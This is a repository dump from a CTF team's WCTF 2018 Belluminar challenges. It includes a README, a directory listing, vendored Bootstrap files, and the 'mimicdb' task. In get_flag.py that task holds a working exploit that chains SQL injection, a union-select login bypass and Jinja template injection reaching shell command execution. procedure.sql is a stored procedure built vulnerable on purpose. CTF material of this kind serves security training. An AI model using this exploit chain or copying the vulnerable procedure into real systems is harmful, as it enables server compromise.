│ │ │ ├── lib
│ │ │ │ ├── example.css
│ │ │ │ └── example.js
│ │ │ ├── months-no-smooth.html
│ │ │ ├── negative.html
│ │ │ ├── no-grid.html
│ │ │ ├── non-continuous.html
│ │ │ ├── non-date.html
│ │ │ ├── quarters.html
│ │ │ ├── resize.html
│ │ │ ├── stacked_bars.html
│ │ │ ├── timestamps.html
│ │ │ ├── updating.html
│ │ │ ├── weeks.html
│ │ │ └── years.html
│ │ ├── less
│ │ │ └── morris.core.less
│ │ ├── lib
│ │ │ ├── morris.area.coffee
│ │ │ ├── morris.bar.coffee
│ │ │ ├── morris.coffee
│ │ │ ├── morris.donut.coffee
│ │ │ ├── morris.grid.coffee
│ │ │ ├── morris.hover.coffee
│ │ │ └── morris.line.coffee
│ │ ├── morris.css
│ │ ├── morris.js
│ │ ├── morris.min.js
│ │ ├── package.json
│ │ └── spec
│ │ │ ├── lib
│ │ │ ├── area
│ │ │ │ └── area_spec.coffee
│ │ │ ├── bar
│ │ │ │ ├── bar_spec.coffee
│ │ │ │ └── colours.coffee
│ │ │ ├── commas_spec.coffee
│ │ │ ├── donut
│ │ │ │ └── donut_spec.coffee
│ │ │ ├── grid
│ │ │ │ ├── auto_grid_lines_spec.coffee
│ │ │ │ ├── set_data_spec.coffee
│ │ │ │ └── y_label_format_spec.coffee
│ │ │ ├── hover_spec.coffee
│ │ │ ├── label_series_spec.coffee
│ │ │ ├── line
│ │ │ │ └── line_spec.coffee
│ │ │ ├── pad_spec.coffee
│ │ │ └── parse_time_spec.coffee
│ │ │ ├── specs.html
│ │ │ ├── support
│ │ │ └── placeholder.coffee
│ │ │ └── viz
│ │ │ ├── examples.js
│ │ │ ├── exemplary
│ │ │ ├── area0.png
│ │ │ ├── bar0.png
│ │ │ ├── line0.png
│ │ │ └── stacked_bar0.png
│ │ │ ├── run.sh
│ │ │ ├── test.html
│ │ │ └── visual_specs.js
│ ├── polymer
│ │ ├── .bower.json
│ │ ├── README.md
│ │ ├── bower.json
│ │ ├── docs
│ │ │ └── index.html
│ │ ├── explainer
│ │ │ ├── data-bind.png
│ │ │ ├── data-bind.vsdx
│ │ │ └── samples.html
│ │ ├── layout.html
│ │ ├── polymer.html
│ │ ├── polymer.js
│ │ ├── polymer.min.js
│ │ ├── src
│ │ │ ├── lib
│ │ │ │ ├── annotations
│ │ │ │ │ ├── annotations.html
│ │ │ │ │ └── demo
│ │ │ │ │ │ └── app-chrome.html
│ │ │ │ ├── array-observe.html
│ │ │ │ ├── array-splice.html
│ │ │ │ ├── async.html
│ │ │ │ ├── base.html
│ │ │ │ ├── bind
│ │ │ │ │ ├── accessors.html
│ │ │ │ │ ├── demo
│ │ │ │ │ │ ├── app-chrome.html
│ │ │ │ │ │ ├── app.html
│ │ │ │ │ │ └── src
│ │ │ │ │ │ │ ├── annotations-bind-demo.html
│ │ │ │ │ │ │ └── bind-demo.html
│ │ │ │ │ └── effects.html
│ │ │ │ ├── case-map.html
│ │ │ │ ├── collection.html
│ │ │ │ ├── css-parse.html
│ │ │ │ ├── debounce.html
│ │ │ │ ├── dom-api.html
│ │ │ │ ├── dom-module.html
│ │ │ │ ├── event-api.html
│ │ │ │ ├── expr
│ │ │ │ │ ├── focus.html
│ │ │ │ │ ├── gestures.html
│ │ │ │ │ ├── log.html
│ │ │ │ │ ├── sinspect.html
│ │ │ │ │ ├── style-auditor.html
│ │ │ │ │ └── style-protector.html
│ │ │ │ ├── gestures.html
│ │ │ │ ├── lang.html
│ │ │ │ ├── module.html
│ │ │ │ ├── polymer-bootstrap.html
│ │ │ │ ├── resolve-url.html
│ │ │ │ ├── settings.html
│ │ │ │ ├── style-defaults.html
│ │ │ │ ├── style-transformer.html
│ │ │ │ ├── style-util.html
│ │ │ │ ├── template
│ │ │ │ │ ├── templatizer.html
│ │ │ │ │ ├── x-array-selector.html
│ │ │ │ │ ├── x-autobind.html
│ │ │ │ │ ├── x-if.html
│ │ │ │ │ ├── x-repeat.html
│ │ │ │ │ └── x-template.html
│ │ │ │ └── x-style.html
│ │ │ ├── micro
│ │ │ │ ├── attributes.html
│ │ │ │ ├── behaviors.html
│ │ │ │ ├── constructor.html
│ │ │ │ ├── debouncer.html
│ │ │ │ ├── extends.html
│ │ │ │ ├── mixins.html
│ │ │ │ ├── properties.html
│ │ │ │ └── tag.html
│ │ │ ├── mini
│ │ │ │ ├── ready.html
│ │ │ │ ├── shadow.html
│ │ │ │ ├── shady.html
│ │ │ │ └── template.html
│ │ │ ├── polymer-lib.html
│ │ │ └── standard
│ │ │ │ ├── annotations.html
│ │ │ │ ├── configure.html
│ │ │ │ ├── effects.html
│ │ │ │ ├── events.html
│ │ │ │ ├── notify-path.html
│ │ │ │ ├── resolveUrl.html
│ │ │ │ ├── styling.html
│ │ │ │ ├── utils.html
│ │ │ │ └── x-styling.html
│ │ └── test
│ │ │ ├── assets
│ │ │ ├── Beaker2.jpg
│ │ │ └── test-style-path.html
│ │ │ ├── compat
│ │ │ ├── polymer-smoke-elements.html
│ │ │ └── polymer-smoke-polyfill.html
│ │ │ ├── runner.html
│ │ │ ├── smoke
│ │ │ ├── bind-smoke.html
│ │ │ ├── custom-notify-smoke.html
│ │ │ ├── elements-smoke.html
│ │ │ ├── polymer-micro-smoke.html
│ │ │ ├── polymer-mini-smoke.html
│ │ │ ├── polymer-smoke.html
│ │ │ ├── style-path-smoke.html
│ │ │ ├── x-if.html
│ │ │ └── x-repeat.html
│ │ │ └── unit
│ │ │ ├── async.html
│ │ │ ├── attributes-elements.html
│ │ │ ├── attributes.html
│ │ │ ├── base.html
│ │ │ ├── behaviors-elements.html
│ │ │ ├── behaviors.html
│ │ │ ├── bind-elements.html
│ │ │ ├── bind.html
│ │ │ ├── configure-elements.html
│ │ │ ├── configure.html
│ │ │ ├── css-parse.html
│ │ │ ├── dynamic-import.html
│ │ │ ├── dynamic-imports
│ │ │ ├── dynamic-element.html
│ │ │ ├── inner-element.html
│ │ │ └── outer-element.html
│ │ │ ├── gestures-elements.html
│ │ │ ├── gestures.html
│ │ │ ├── micro-elements.html
│ │ │ ├── micro.html
│ │ │ ├── notify-path-elements.html
│ │ │ ├── notify-path.html
│ │ │ ├── polymer-dom-elements.html
│ │ │ ├── polymer-dom-shadow.html
│ │ │ ├── polymer-dom.html
│ │ │ ├── polymer-dom.js
│ │ │ ├── ready-elements.html
│ │ │ ├── ready-shadow.html
│ │ │ ├── ready.html
│ │ │ ├── ready.js
│ │ │ ├── resolveurl.html
│ │ │ ├── shady.html
│ │ │ ├── styling-remote-elements.html
│ │ │ ├── styling-remote-module-sheet.html
│ │ │ ├── styling-remote-sheet.css
│ │ │ ├── styling-remote.html
│ │ │ ├── styling-scoped-elements.html
│ │ │ ├── styling-scoped.html
│ │ │ ├── sub
│ │ │ └── resolveurl-elements.html
│ │ │ ├── template-elements.html
│ │ │ ├── template.html
│ │ │ ├── template
│ │ │ └── x-template.html
│ │ │ ├── utils-content.html
│ │ │ ├── utils-elements.html
│ │ │ ├── utils.html
│ │ │ ├── x-repeat-elements.html
│ │ │ ├── x-repeat.html
│ │ │ └── x-style.html
│ ├── raphael
│ │ ├── .bower.json
│ │ ├── bower.json
│ │ ├── dev
│ │ │ ├── banner.txt
│ │ │ ├── raphael.amd.js
│ │ │ ├── raphael.core.js
│ │ │ ├── raphael.svg.js
│ │ │ ├── raphael.vml.js
│ │ │ └── test
│ │ │ │ ├── svg
│ │ │ │ └── dom.js
│ │ │ │ └── vml
│ │ │ │ └── dom.js
│ │ ├── license.txt
│ │ ├── raphael-min.js
│ │ ├── raphael.js
│ │ ├── raphael.min.js
│ │ ├── raphael.no-deps.js
│ │ ├── raphael.no-deps.min.js
│ │ ├── webpack.config.js
│ │ └── yarn.lock
│ └── webcomponentsjs
│ │ ├── .bower.json
│ │ ├── CustomElements.js
│ │ ├── CustomElements.min.js
│ │ ├── HTMLImports.js
│ │ ├── HTMLImports.min.js
│ │ ├── README.md
│ │ ├── ShadowDOM.js
│ │ ├── ShadowDOM.min.js
│ │ ├── bower.json
│ │ ├── build.log
│ │ ├── package.json
│ │ ├── webcomponents-lite.js
│ │ ├── webcomponents-lite.min.js
│ │ ├── webcomponents.js
│ │ └── webcomponents.min.js
├── config.py
├── dist
│ ├── css
│ │ ├── sb-admin-2.css
│ │ └── timeline.css
│ └── js
│ │ └── sb-admin-2.js
├── js
│ ├── flot-data.js
│ └── morris-data.js
├── loginform.py
├── requirements.txt
├── run.bat
├── stub.py
├── templates
│ └── sb-admin
│ │ ├── base.html
│ │ ├── loginbase.html
│ │ ├── macros
│ │ ├── dashboard
│ │ │ ├── areachart.html
│ │ │ ├── barchart.html
│ │ │ ├── chat.html
│ │ │ ├── counticon.html
│ │ │ ├── donut.html
│ │ │ ├── notification.html
│ │ │ └── timeline.html
│ │ ├── flot
│ │ │ ├── barchart.html
│ │ │ ├── linechart.html
│ │ │ ├── movinglinechart.html
│ │ │ ├── multiaxeschart.html
│ │ │ └── piechart.html
│ │ ├── morris
│ │ │ ├── areachart.html
│ │ │ ├── barchart.html
│ │ │ ├── donutchart.html
│ │ │ └── linechart.html
│ │ ├── navlink.html
│ │ ├── tables
│ │ │ ├── advtable.html
│ │ │ ├── advtable_active.html
│ │ │ ├── advtable_alive.html
│ │ │ ├── advtable_track.html
│ │ │ ├── advtable_track_user.html
│ │ │ ├── table.html
│ │ │ └── table_simple.html
│ │ ├── topnav
│ │ │ ├── alert.html
│ │ │ ├── messagesummary.html
│ │ │ └── tasksummary.html
│ │ └── ui
│ │ │ ├── notifications
│ │ │ ├── alert.html
│ │ │ └── dismissablealert.html
│ │ │ └── panels
│ │ │ ├── accordion.html
│ │ │ ├── panel.html
│ │ │ ├── tab.html
│ │ │ └── well.html
│ │ ├── master.html
│ │ ├── nav.html
│ │ ├── pages
│ │ ├── blank.html
│ │ ├── dashboard.html
│ │ ├── login.html
│ │ └── ui
│ │ │ ├── buttons.html
│ │ │ ├── grid.html
│ │ │ ├── icons.html
│ │ │ ├── notifications.html
│ │ │ ├── panels-wells.html
│ │ │ └── typography.html
│ │ └── redirect.html
├── user.py
└── views.py
└── sqli_exp.py
/2018/wctf-belluminar/README.md:
--------------------------------------------------------------------------------
1 | # Info
2 |
3 | 欢迎!
4 | This is a folder containing the tasks and solutions developed by LC↯BC team for the WCTF 2018 event (aka Belluminar Beijing).
5 |
6 | Belluminar is a type of CTF competition where the teams bring their own tasks for each other.
7 | This makes it very special and hard.
8 |
9 | The teams also have to present their intended solutions (and they get scored for that too, that's why you cannot just make a completely unsolvable task).
10 |
11 | Both of our tasks in 2018 have been solved by 2 teams: TokyoWesterns (1st place) and 0daysober (4th place).
12 |
13 | Also both tasks contain quite huge unintended bugs which were caused by merging different steps into a single challenge and forgetting to remove extra bugs under a deadline pressure =)
14 |
15 | The challenges in this folder are provided as is, without fixing those unintended bugs.
16 |
17 | Here's a link we shared with organizers before the event (you can get a deployed VM there): https://yadi.sk/d/gp-7LR323WmKMb
18 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/belluminar18.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/belluminar18.pdf
--------------------------------------------------------------------------------
/2018/wctf-belluminar/belluminarbank/contract.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/belluminarbank/contract.bin
--------------------------------------------------------------------------------
/2018/wctf-belluminar/belluminarbank/genesis.json:
--------------------------------------------------------------------------------
1 | { "config": { "chainId": 31338, "homesteadBlock": 0 }, "coinbase" : "0x571dc32a4A4DA1FD6fF02642537D85Be8984dCB2", "difficulty" : "0x1", "extraData" : "", "gasLimit" : "0xffffff", "mixhash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "alloc" : { "0x72d45c0dc7EfdAfd00467086B65B2fe078788c44": {"balance": "10000000000000000000"}, "0x571dc32a4A4DA1FD6fF02642537D85Be8984dCB2": {"balance": "10000000000000000000"} } }
2 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/belluminar.sqlite3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/belluminar.sqlite3
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/get_flag.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | target = '192.168.23.130:5000'
4 |
5 | s = requests.Session()
6 | h = {'Content-Type': 'application/x-www-form-urlencoded'}
7 |
8 | s.post('http://%s/admin/login/' % target, data=r"""username='%3bexec+sp_logEvent+"{{''.__class__.mro()[2].__subclasses__()[231]('type+..\..\\flag*+>+templates/sb-admin/pages/res.html',shell=True)}}",+'../server//////////////////////////////''',+',"../templates/sb-admin/pages/x.html"--+'%3b+--+&password=asd""", headers=h)
9 |
10 | [s.post('http://%s/admin/login/' % target, data="username='+union+select+0,'root','7815696ecbf1c96e6894b779456d330e'+--+&password=asd", headers=h) for _ in xrange(10)]
11 |
12 | s.get('http://%s/admin/?page=x' % target)
13 | print s.get('http://%s/admin/?page=res' % target).text
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/procedure.sql:
--------------------------------------------------------------------------------
1 | USE MASTER
2 | GO
3 |
4 | DROP PROCEDURE sp_logEvent;
5 | GO
6 |
7 | CREATE PROCEDURE sp_logEvent(@Txt varchar(max), @Name varchar(40), @Type varchar(40)) WITH EXECUTE AS OWNER
8 | AS
9 | BEGIN
10 | DECLARE @query varchar(max);
11 | SET @Txt = REPLACE(@Txt, "'", "''")
12 | SET @Name = REPLACE(@Name, "'", "''")
13 | SET @Type = REPLACE(@Type, "'", "''")
14 | SET @query = 'EXEC master..spWriteStringToFile ''' + @Txt + ''', ''C:\Users\belluminar\Desktop\webapp\logs\' + @Name + ''', ''' + @Type + '.log''';
15 | EXECUTE(@query);
16 | END
17 | GO
18 |
19 | GRANT EXECUTE ON sp_logEvent to PUBLIC
20 | GRANT VIEW DEFINITION ON sp_logEvent TO PUBLIC
21 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/__init__.py
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/App States/app-states.html:
--------------------------------------------------------------------------------
1 |
"
13 | ],
14 | "dependencies": {
15 | "polymer": "Polymer/polymer#~0.5.4",
16 | "webcomponentsjs": "~0.5.4"
17 | },
18 | "license": "MIT",
19 | "ignore": [
20 | "**/.*",
21 | "node_modules",
22 | "bower_components",
23 | "lib",
24 | "test",
25 | "tests",
26 | "tmp",
27 | "gulpfile.js",
28 | "package.json"
29 | ]
30 | }
31 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/App States/src/app-states.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "bootstrap-social",
3 | "main": "bootstrap-social.css",
4 | "licence": "MIT",
5 | "ignore": [
6 | "assets",
7 | "index.html",
8 | "LICENCE"
9 | ],
10 | "dependencies": {
11 | "bootstrap": "~3",
12 | "font-awesome": "~4.2"
13 | },
14 | "homepage": "https://github.com/lipis/bootstrap-social",
15 | "version": "4.8.0",
16 | "_release": "4.8.0",
17 | "_resolution": {
18 | "type": "version",
19 | "tag": "4.8.0",
20 | "commit": "918fc55c3c938377a7618ec0f115846e50d4b883"
21 | },
22 | "_source": "https://github.com/lipis/bootstrap-social.git",
23 | "_target": "~4.8.0",
24 | "_originalSource": "bootstrap-social"
25 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/.editorconfig:
--------------------------------------------------------------------------------
1 | # editorconfig.org
2 |
3 | root = true
4 |
5 | [*]
6 | indent_style = space
7 | indent_size = 2
8 | end_of_line = lf
9 | charset = utf-8
10 | trim_trailing_whitespace = true
11 | insert_final_newline = true
12 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | dev
3 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap-social/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "bootstrap-social",
3 | "main": "bootstrap-social.css",
4 | "licence": "MIT",
5 | "ignore": [
6 | "assets",
7 | "index.html",
8 | "LICENCE"
9 | ],
10 | "dependencies": {
11 | "bootstrap": "~3",
12 | "font-awesome": "~4.2"
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/CHANGELOG.md:
--------------------------------------------------------------------------------
1 | Bootstrap uses [GitHub's Releases feature](https://github.com/blog/1547-release-your-software) for its changelogs.
2 |
3 | See [the Releases section of our GitHub project](https://github.com/twbs/bootstrap/releases) for changelogs for each release version of Bootstrap.
4 |
5 | Release announcement posts on [the official Bootstrap blog](http://blog.getbootstrap.com) contain summaries of the most noteworthy changes made in each release.
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/Gemfile:
--------------------------------------------------------------------------------
1 | source 'https://rubygems.org'
2 |
3 | group :development, :test do
4 | gem 'jekyll', '~> 3.1.2'
5 | gem 'jekyll-sitemap', '~> 0.11.0'
6 | end
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "bootstrap",
3 | "description": "The most popular front-end framework for developing responsive, mobile first projects on the web.",
4 | "keywords": [
5 | "css",
6 | "js",
7 | "less",
8 | "mobile-first",
9 | "responsive",
10 | "front-end",
11 | "framework",
12 | "web"
13 | ],
14 | "homepage": "http://getbootstrap.com",
15 | "license": "MIT",
16 | "moduleType": "globals",
17 | "main": [
18 | "less/bootstrap.less",
19 | "dist/js/bootstrap.js"
20 | ],
21 | "ignore": [
22 | "/.*",
23 | "_config.yml",
24 | "CNAME",
25 | "composer.json",
26 | "CONTRIBUTING.md",
27 | "docs",
28 | "js/tests",
29 | "test-infra"
30 | ],
31 | "dependencies": {
32 | "jquery": "1.9.1 - 3"
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/dist/js/npm.js:
--------------------------------------------------------------------------------
1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
2 | require('../../js/transition.js')
3 | require('../../js/alert.js')
4 | require('../../js/button.js')
5 | require('../../js/carousel.js')
6 | require('../../js/collapse.js')
7 | require('../../js/dropdown.js')
8 | require('../../js/modal.js')
9 | require('../../js/tooltip.js')
10 | require('../../js/popover.js')
11 | require('../../js/scrollspy.js')
12 | require('../../js/tab.js')
13 | require('../../js/affix.js')
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/fonts/glyphicons-halflings-regular.woff2
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/grunt/.jshintrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends" : "../js/.jshintrc",
3 | "asi" : false,
4 | "browser" : false,
5 | "es3" : false,
6 | "node" : true
7 | }
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/js/.jshintrc:
--------------------------------------------------------------------------------
1 | {
2 | "asi" : true,
3 | "browser" : true,
4 | "eqeqeq" : false,
5 | "eqnull" : true,
6 | "es3" : true,
7 | "expr" : true,
8 | "jquery" : true,
9 | "latedef" : true,
10 | "laxbreak" : true,
11 | "nonbsp" : true,
12 | "strict" : true,
13 | "undef" : true,
14 | "unused" : true
15 | }
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/.csslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "adjoining-classes": false,
3 | "box-sizing": false,
4 | "box-model": false,
5 | "compatible-vendor-prefixes": false,
6 | "floats": false,
7 | "font-sizes": false,
8 | "gradients": false,
9 | "important": false,
10 | "known-properties": false,
11 | "outline-none": false,
12 | "qualified-headings": false,
13 | "regex-selectors": false,
14 | "shorthand": false,
15 | "text-indent": false,
16 | "unique-headings": false,
17 | "universal-selector": false,
18 | "unqualified-attributes": false
19 | }
20 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/breadcrumbs.less:
--------------------------------------------------------------------------------
1 | //
2 | // Breadcrumbs
3 | // --------------------------------------------------
4 |
5 |
6 | .breadcrumb {
7 | padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;
8 | margin-bottom: @line-height-computed;
9 | list-style: none;
10 | background-color: @breadcrumb-bg;
11 | border-radius: @border-radius-base;
12 |
13 | > li {
14 | display: inline-block;
15 |
16 | + li:before {
17 | content: "@{breadcrumb-separator}\00a0"; // Unicode space added since inline-block means non-collapsing white-space
18 | padding: 0 5px;
19 | color: @breadcrumb-color;
20 | }
21 | }
22 |
23 | > .active {
24 | color: @breadcrumb-active-color;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/close.less:
--------------------------------------------------------------------------------
1 | //
2 | // Close icons
3 | // --------------------------------------------------
4 |
5 |
6 | .close {
7 | float: right;
8 | font-size: (@font-size-base * 1.5);
9 | font-weight: @close-font-weight;
10 | line-height: 1;
11 | color: @close-color;
12 | text-shadow: @close-text-shadow;
13 | .opacity(.2);
14 |
15 | &:hover,
16 | &:focus {
17 | color: @close-color;
18 | text-decoration: none;
19 | cursor: pointer;
20 | .opacity(.5);
21 | }
22 |
23 | // Additional properties for button version
24 | // iOS requires the button element instead of an anchor tag.
25 | // If you want the anchor version, it requires `href="#"`.
26 | // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile
27 | button& {
28 | padding: 0;
29 | cursor: pointer;
30 | background: transparent;
31 | border: 0;
32 | -webkit-appearance: none;
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/component-animations.less:
--------------------------------------------------------------------------------
1 | //
2 | // Component animations
3 | // --------------------------------------------------
4 |
5 | // Heads up!
6 | //
7 | // We don't use the `.opacity()` mixin here since it causes a bug with text
8 | // fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.
9 |
10 | .fade {
11 | opacity: 0;
12 | .transition(opacity .15s linear);
13 | &.in {
14 | opacity: 1;
15 | }
16 | }
17 |
18 | .collapse {
19 | display: none;
20 |
21 | &.in { display: block; }
22 | tr&.in { display: table-row; }
23 | tbody&.in { display: table-row-group; }
24 | }
25 |
26 | .collapsing {
27 | position: relative;
28 | height: 0;
29 | overflow: hidden;
30 | .transition-property(~"height, visibility");
31 | .transition-duration(.35s);
32 | .transition-timing-function(ease);
33 | }
34 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/alerts.less:
--------------------------------------------------------------------------------
1 | // Alerts
2 |
3 | .alert-variant(@background; @border; @text-color) {
4 | background-color: @background;
5 | border-color: @border;
6 | color: @text-color;
7 |
8 | hr {
9 | border-top-color: darken(@border, 5%);
10 | }
11 | .alert-link {
12 | color: darken(@text-color, 10%);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/background-variant.less:
--------------------------------------------------------------------------------
1 | // Contextual backgrounds
2 |
3 | .bg-variant(@color) {
4 | background-color: @color;
5 | a&:hover,
6 | a&:focus {
7 | background-color: darken(@color, 10%);
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/border-radius.less:
--------------------------------------------------------------------------------
1 | // Single side border-radius
2 |
3 | .border-top-radius(@radius) {
4 | border-top-right-radius: @radius;
5 | border-top-left-radius: @radius;
6 | }
7 | .border-right-radius(@radius) {
8 | border-bottom-right-radius: @radius;
9 | border-top-right-radius: @radius;
10 | }
11 | .border-bottom-radius(@radius) {
12 | border-bottom-right-radius: @radius;
13 | border-bottom-left-radius: @radius;
14 | }
15 | .border-left-radius(@radius) {
16 | border-bottom-left-radius: @radius;
17 | border-top-left-radius: @radius;
18 | }
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/center-block.less:
--------------------------------------------------------------------------------
1 | // Center-align a block level element
2 |
3 | .center-block() {
4 | display: block;
5 | margin-left: auto;
6 | margin-right: auto;
7 | }
8 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/clearfix.less:
--------------------------------------------------------------------------------
1 | // Clearfix
2 | //
3 | // For modern browsers
4 | // 1. The space content is one way to avoid an Opera bug when the
5 | // contenteditable attribute is included anywhere else in the document.
6 | // Otherwise it causes space to appear at the top and bottom of elements
7 | // that are clearfixed.
8 | // 2. The use of `table` rather than `block` is only necessary if using
9 | // `:before` to contain the top-margins of child elements.
10 | //
11 | // Source: http://nicolasgallagher.com/micro-clearfix-hack/
12 |
13 | .clearfix() {
14 | &:before,
15 | &:after {
16 | content: " "; // 1
17 | display: table; // 2
18 | }
19 | &:after {
20 | clear: both;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/hide-text.less:
--------------------------------------------------------------------------------
1 | // CSS image replacement
2 | //
3 | // Heads up! v3 launched with only `.hide-text()`, but per our pattern for
4 | // mixins being reused as classes with the same name, this doesn't hold up. As
5 | // of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`.
6 | //
7 | // Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757
8 |
9 | // Deprecated as of v3.0.1 (has been removed in v4)
10 | .hide-text() {
11 | font: ~"0/0" a;
12 | color: transparent;
13 | text-shadow: none;
14 | background-color: transparent;
15 | border: 0;
16 | }
17 |
18 | // New mixin to use as of v3.0.1
19 | .text-hide() {
20 | .hide-text();
21 | }
22 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/labels.less:
--------------------------------------------------------------------------------
1 | // Labels
2 |
3 | .label-variant(@color) {
4 | background-color: @color;
5 |
6 | &[href] {
7 | &:hover,
